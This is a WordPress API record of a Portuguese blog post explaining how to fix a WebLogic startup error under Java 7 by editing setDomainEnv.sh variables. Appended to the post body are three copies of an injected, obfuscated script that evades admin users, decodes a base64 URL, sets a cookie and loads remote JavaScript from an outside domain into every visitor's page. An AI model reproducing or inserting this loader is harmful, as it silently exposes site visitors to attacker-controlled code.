{"id":3655,"date":"2012-11-05T10:48:37","date_gmt":"2012-11-05T12:48:37","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3655"},"modified":"2025-10-26T22:34:54","modified_gmt":"2025-10-27T01:34:54","slug":"weblogic-com-java-7","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/11\/05\/weblogic-com-java-7\/","title":{"rendered":"WebLogic com Java 7"},"content":{"rendered":"<p style=\"text-align: justify;\">Ap\u00f3s criar um novo dom\u00ednio com o WebLogic utilizando Java 7, voc\u00ea pode obter o seguinte erro ao inicializar:<\/p>\n<pre> Error: Could not create the Java Virtual Machine.\n Error: A fatal exception has occurred. Program will exit.\n Unrecognized option: -jrockit\n Error: Could not create the Java Virtual Machine.\n Error: A fatal exception has occurred. Program will exit.\n Process exited.<\/pre>\n<p style=\"text-align: justify;\">Esse erro ocorre pois o script de cria\u00e7\u00e3o reconhece o Java 7 como sendo da Oracle. Para corrigir esse problema \u00e9 s\u00f3 editar o arquivo setDomainEnv.sh (ou cmd ser for Windows) do dom\u00ednio criado e trocar o conte\u00fado da vari\u00e1vel BEA_JAVA_HOME para SUN_JAVA_HOME e atribuir o JAVA_VENDOR como Sun. No meu caso o conte\u00fado era:<\/p>\n<pre class=\"brush: bash; highlight: [2,5]; title: ; notranslate\" title=\"\">\n...\nBEA_JAVA_HOME=&quot;\/usr\/lib\/jvm\/java-7-oracle&quot;\nexport BEA_JAVA_HOME\n\nSUN_JAVA_HOME=&quot;&quot;\nexport SUN_JAVA_HOME\n\nif &#x5B; &quot;${JAVA_VENDOR}&quot; = &quot;Oracle&quot; ] ; then\n...\n<\/pre>\n<p style=\"text-align: justify;\">Alterei para:<\/p>\n<pre class=\"brush: bash; highlight: [2,5,8,9]; title: ; notranslate\" title=\"\">\n...\nBEA_JAVA_HOME=&quot;&quot;\nexport BEA_JAVA_HOME\n\nSUN_JAVA_HOME=&quot;\/usr\/lib\/jvm\/java-7-oracle&quot;\nexport SUN_JAVA_HOME\n\nJAVA_VENDOR=&quot;Sun&quot;\nexport JAVA_VENDOR\n\nif &#x5B; &quot;${JAVA_VENDOR}&quot; = &quot;Oracle&quot; ] ; then\n...\n<\/pre>\n<p style=\"text-align: justify;\">E ap\u00f3s essa altera\u00e7\u00e3o o erro desapareceu.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ap\u00f3s criar um novo dom\u00ednio com o WebLogic utilizando Java 7, voc\u00ea pode obter o seguinte erro ao inicializar: Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. Unrecognized option: -jrockit Error: <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/11\/05\/weblogic-com-java-7\/\">Continue lendo  <span class=\"screen-reader-text\">  WebLogic com Java 7<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,9,6],"tags":[],"class_list":["post-3655","post","type-post","status-publish","format-standard","hentry","category-java","category-oracle","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3655","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3655"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3655\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3655"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3655"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3655"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}